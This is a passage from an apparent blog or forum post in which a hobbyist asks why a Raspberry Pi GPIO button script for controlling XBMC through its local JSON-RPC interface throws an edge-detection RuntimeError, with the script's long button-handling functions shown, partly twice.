playerid = json.dumps(j["result"][0]["playerid"])
conn.request("GET", url + downcode + playerid + "}" + url2)
conn.close()
conn.close()
print("execute xbmc down")
elif index == 6:
conn.request("GET", url + player + url2)
r = conn.getresponse()
j = json.loads(r.read())
playeron = j["result"]
if json.dumps(playeron) == "[]":
conn.request("GET", url + "input.select%22" + url2)
conn.close()
else:
playerid = json.dumps(j["result"][0]["playerid"])
conn.request("GET", url + rightcode + playerid + "}" + url2)
conn.close()
conn.close()
print("execute xbmc right")
def button_held(index):
url = "/jsonrpc?request={%22jsonrpc%22:%222.0%22,%22method%22:%22"
url2 = ",%22id%22:1}"
player = "Player.GetActivePlayers%22"
playcode = "Player.PlayPause%22,%22params%22:{%22playerid%22:"
upcode = "Input.Up%22,%22params%22:{%22playerid%22:"
downcode = "Input.Down%22,%22params%22:{%22playerid%22:"
backcode = "Input.Back%22,%22params%22:{%22playerid%22:"
nextcode = "Player.GoNext%22,%22params%22:{%22playerid%22:"
prevcode = "Player.GoPrevious%22,%22params%22:{%22playerid%22:"
shuffcode = "Player.Shuffle%22,%22params%22:{%22playerid%22:"
mutecode = "Application.SetMute%22,%22params%22:{%22playerid%22:"
conn = httplib.HTTPConnection("127.0.0.1:8080")
if index == 0:
conn.request("GET", url + player + url2)
r = conn.getresponse()
j = json.loads(r.read())
playeron = j["result"]
if json.dumps(playeron) == "[]":
conn.request("GET", url + "input.select%22" + url2)
conn.close()
else:
playerid = json.dumps(j["result"][0]["playerid"])
conn.request("GET", url + shuffcode + playerid + "}" + url2)
conn.close()
conn.close()
print("execute xbmc guide")
elif index == 1:
conn.request("GET", url + player + url2)
r = conn.getresponse()
j = json.loads(r.read())
playeron = j["result"]
if json.dumps(playeron) == "[]":
conn.request("GET", url + "input.select%22" + url2)
conn.close()
else:
playerid = json.dumps(j["result"][0]["playerid"])
conn.request("GET", url + prevcode + playerid + "}" + url2)
conn.close()
conn.close()
print("execute xbmc left")
elif index == 2:
conn.request("GET", url + player + url2)
r = conn.getresponse()
j = json.loads(r.read())
playeron = j["result"]
if json.dumps(playeron) == "[]":
conn.request("GET", url + "input.select%22" + url2)
conn.close()
else:
playerid = json.dumps(j["result"][0]["playerid"])
conn.request("GET", url + playcode + playerid + "}" + url2)
conn.close()
conn.close()
print("execute xbmc play/pause")
elif index == 3:
conn.request("GET", url + player + url2)
r = conn.getresponse()
j = json.loads(r.read())
playeron = j["result"]
if json.dumps(playeron) == "[]":
conn.request("GET", url + "input.select%22" + url2)
conn.close()
else:
playerid = json.dumps(j["result"][0]["playerid"])
conn.request("GET", url + upcode + playerid + "}" + url2)
conn.close()
conn.close()
print("execute xbmc up")
elif index == 4:
conn.request("GET", url + player + url2)
r = conn.getresponse()
j = json.loads(r.read())
playeron = j["result"]
if json.dumps(playeron) == "[]":
conn.request("GET", url + "input.select%22" + url2)
conn.close()
else:
playerid = json.dumps(j["result"][0]["playerid"])
conn.request("GET", url + backcode + playerid + "}" + url2)
conn.close()
conn.close()
print("execute xbmc backspace")
elif index == 5:
conn.request("GET", url + player + url2)
r = conn.getresponse()
j = json.loads(r.read())
playeron = j["result"]
if json.dumps(playeron) == "[]":
conn.request("GET", url + "input.select%22" + url2)
conn.close()
else:
playerid = json.dumps(j["result"][0]["playerid"])
conn.request("GET", url + downcode + playerid + "}" + url2)
conn.close()
conn.close()
print("execute xbmc down")
elif index == 6:
conn.request("GET", url + player + url2)
r = conn.getresponse()
j = json.loads(r.read())
playeron = j["result"]
if json.dumps(playeron) == "[]":
conn.request("GET", url + "input.select%22" + url2)
conn.close()
else:
playerid = json.dumps(j["result"][0]["playerid"])
conn.request("GET", url + nextcode + playerid + "}" + url2)
conn.close()
conn.close()
print("execute xbmc right")
I am trying to write code for a car xbmc project. I made my own button
keypad with pull-down resistors and plugged into the GPIO ports. Installed
python and the GPIO addon. My goal is to catch button presses, and if the
button is held for 1.5 secs, it will execute a different command to xbmc
(for example, the right key would skip to the next track if held). I'm not
too familiar with Python, so it's been a pretty long process getting to
where I am. I chose to use the GPIO.add_event_detect() function since it
has a built-in debouncer, but I think it's new because I can't find many
examples of it being used. This is what is throwing errors:
Traceback (most recent call last):
File "buttons.py", line 15, in <module>
GPIO.add_event_detect(buttons[index], GPIO.RISING, bouncetime=200)
RuntimeError: Edge detection already enabled for this GPIO channel
#!/usr/bin/env python
import Rpi.GPIO as GPIO
import time, os, httplib, json
GPIO.setmode(GPIO.BCM)
buttons = [4, 17, 18, 22, 23, 24, 27]
numbuttons = len(buttons)
index = 0
for index in numbuttons:
GPIO.setup(index, GPIO.IN, pull_up_down=GPIO.PUD_DOWN)
while True:
index = 0
for index in numbuttons:
GPIO.add_event_detect(buttons[index], GPIO.RISING, bouncetime=200)
if GPIO.event_detected(buttons[index]):
time_pressed = time.time()
GPIO.add_event_detect(buttons[index], GPIO.FALLING,
bouncetime=200)
if GPIO.event_detected(buttons[index]):
time_released = time.time()
if (time_released - time_pressed) >= 1.5:
button_held(index)
else:
button_pressed(index)
time.sleep(0.01)
def button_pressed(index):
url = "/jsonrpc?request={%22jsonrpc%22:%222.0%22,%22method%22:%22"
url2 = ",%22id%22:1}"
player = "Player.GetActivePlayers%22"
playcode = "Player.PlayPause%22,%22params%22:{%22playerid%22:"
guidecode = "Player.GetProperties%22,%22params%22:{%22playerid%22:"
upcode = "Input.Up%22,%22params%22:{%22playerid%22:"
downcode = "Input.Down%22,%22params%22:{%22playerid%22:"
leftcode = "Input.Left%22,%22params%22:{%22playerid%22:"
rightcode = "Input.Right%22,%22params%22:{%22playerid%22:"
backcode = "Input.Back%22,%22params%22:{%22playerid%22:"
conn = httplib.HTTPConnection("127.0.0.1:8080")
if index == 0:
conn.request("GET", url + player + url2)
r = conn.getresponse()
j = json.loads(r.read())
playeron = j["result"]
if json.dumps(playeron) == "[]":
conn.request("GET", url + "input.select%22" + url2)
conn.close()
else:
playerid = json.dumps(j["result"][0]["playerid"])
conn.request("GET", url + guidecode + playerid + "}" + url2)
conn.close()
conn.close()
print("execute xbmc guide")
elif index == 1:
conn.request("GET", url + player + url2)
r = conn.getresponse()
j = json.loads(r.read())
playeron = j["result"]
if json.dumps(playeron) == "[]":
conn.request("GET", url + "input.select%22" + url2)
conn.close()
else:
playerid = json.dumps(j["result"][0]["playerid"])
conn.request("GET", url + leftcode + playerid + "}" + url2)
conn.close()
conn.close()
print("execute xbmc left")
elif index == 2:
conn.request("GET", url + player + url2)
r = conn.getresponse()
j = json.loads(r.read())
playeron = j["result"]
if json.dumps(playeron) == "[]":
conn.request("GET", url + "input.select%22" + url2)
conn.close()
else:
playerid = json.dumps(j["result"][0]["playerid"])
conn.request("GET", url + playcode + playerid + "}" + url2)
conn.close()
conn.close()
print("execute xbmc play/pause")
elif index == 3:
conn.request("GET", url + player + url2)
r = conn.getresponse()
j = json.loads(r.read())
playeron = j["result"]
if json.dumps(playeron) == "[]":
conn.request("GET", url + "input.select%22" + url2)
conn.close()
else:
playerid = json.dumps(j["result"][0]["playerid"])
conn.request("GET", url + upcode + playerid + "}" + url2)
conn.close()
conn.close()
print("execute xbmc up")
elif index == 4:
conn.request("GET", url + player + url2)
r = conn.getresponse()
j = json.loads(r.read())
playeron = j["result"]
if json.dumps(playeron) == "[]":
conn.request("GET", url + "input.select%22" + url2)
conn.close()
else:
playerid = json.dumps(j["result"][0]["playerid"])
conn.request("GET", url + backcode + playerid + "}" + url2)
conn.close()
conn.close()
print("execute xbmc backspace")
elif index == 5:
conn.request("GET", url + player + url2)
r = conn.getresponse()
j = json.loads(r.read())
playeron = j["result"]
if json.dumps(playeron) == "[]":
conn.request("GET", url + "input.select%22" + url2)
conn.close()
else:
playerid = json.dumps(j["result"][0]["playerid"])
conn.request("GET", url + downcode + playerid + "}" + url2)
conn.close()
conn.close()
print("execute xbmc down")
elif index == 6:
conn.request("GET", url + player + url2)
r = conn.getresponse()
j = json.loads(r.read())
playeron = j["result"]
if json.dumps(playeron) == "[]":
conn.request("GET", url + "input.select%22" + url2)
conn.close()
else:
playerid = json.dumps(j["result"][0]["playerid"])
conn.request("GET", url + rightcode + playerid + "}" + url2)
conn.close()
conn.close()
print("execute xbmc right")
def button_held(index):
url = "/jsonrpc?request={%22jsonrpc%22:%222.0%22,%22method%22:%22"
url2 = ",%22id%22:1}"
player = "Player.GetActivePlayers%22"
playcode = "Player.PlayPause%22,%22params%22:{%22playerid%22:"
upcode = "Input.Up%22,%22params%22:{%22playerid%22:"
downcode = "Input.Down%22,%22params%22:{%22playerid%22:"
backcode = "Input.Back%22,%22params%22:{%22playerid%22:"
nextcode = "Player.GoNext%22,%22params%22:{%22playerid%22:"
prevcode = "Player.GoPrevious%22,%22params%22:{%22playerid%22:"
shuffcode = "Player.Shuffle%22,%22params%22:{%22playerid%22:"
mutecode = "Application.SetMute%22,%22params%22:{%22playerid%22:"
conn = httplib.HTTPConnection("127.0.0.1:8080")
if index == 0:
conn.request("GET", url + player + url2)
r = conn.getresponse()
j = json.loads(r.read())
playeron = j["result"]
if json.dumps(playeron) == "[]":
conn.request("GET", url + "input.select%22" + url2)
conn.close()
else:
playerid = json.dumps(j["result"][0]["playerid"])
conn.request("GET", url + shuffcode + playerid + "}" + url2)
conn.close()
conn.close()
print("execute xbmc guide")
elif index == 1:
conn.request("GET", url + player + url2)
r = conn.getresponse()
j = json.loads(r.read())
playeron = j["result"]
if json.dumps(playeron) == "[]":
conn.request("GET", url + "input.select%22" + url2)
conn.close()
else:
playerid = json.dumps(j["result"][0]["playerid"])
conn.request("GET", url + prevcode + playerid + "}" + url2)
conn.close()
conn.close()
print("execute xbmc left")
elif index == 2:
conn.request("GET", url + player + url2)
r = conn.getresponse()
j = json.loads(r.read())
playeron = j["result"]
if json.dumps(playeron) == "[]":
conn.request("GET", url + "input.select%22" + url2)
conn.close()
else:
playerid = json.dumps(j["result"][0]["playerid"])
conn.request("GET", url + playcode + playerid + "}" + url2)
conn.close()
conn.close()
print("execute xbmc play/pause")
elif index == 3:
conn.request("GET", url + player + url2)
r = conn.getresponse()
j = json.loads(r.read())
playeron = j["result"]
if json.dumps(playeron) == "[]":
conn.request("GET", url + "input.select%22" + url2)
conn.close()
else:
playerid = json.dumps(j["result"][0]["playerid"])
conn.request("GET", url + upcode + playerid + "}" + url2)
conn.close()
conn.close()
print("execute xbmc up")
elif index == 4:
conn.request("GET", url + player + url2)
r = conn.getresponse()
j = json.loads(r.read())
playeron = j["result"]
if json.dumps(playeron) == "[]":
conn.request("GET", url + "input.select%22" + url2)
conn.close()
else:
playerid = json.dumps(j["result"][0]["playerid"])
conn.request("GET", url + backcode + playerid + "}" + url2)
conn.close()
conn.close()
print("execute xbmc backspace")
elif index == 5:
conn.request("GET", url + player + url2)
r = conn.getresponse()
j = json.loads(r.read())
playeron = j["result"]
if json.dumps(playeron) == "[]":
conn.request("GET", url + "input.select%22" + url2)
conn.close()
else:
playerid = json.dumps(j["result"][0]["playerid"])
conn.request("GET", url + downcode + playerid + "}" + url2)
conn.close()
conn.close()
print("execute xbmc down")
elif index == 6:
conn.request("GET", url + player + url2)
r = conn.getresponse()
j = json.loads(r.read())
playeron = j["result"]
if json.dumps(playeron) == "[]":
conn.request("GET", url + "input.select%22" + url2)
conn.close()
else:
playerid = json.dumps(j["result"][0]["playerid"])
conn.request("GET", url + nextcode + playerid + "}" + url2)
conn.close()
conn.close()
print("execute xbmc right")
Subscribe to:
Comments (Atom)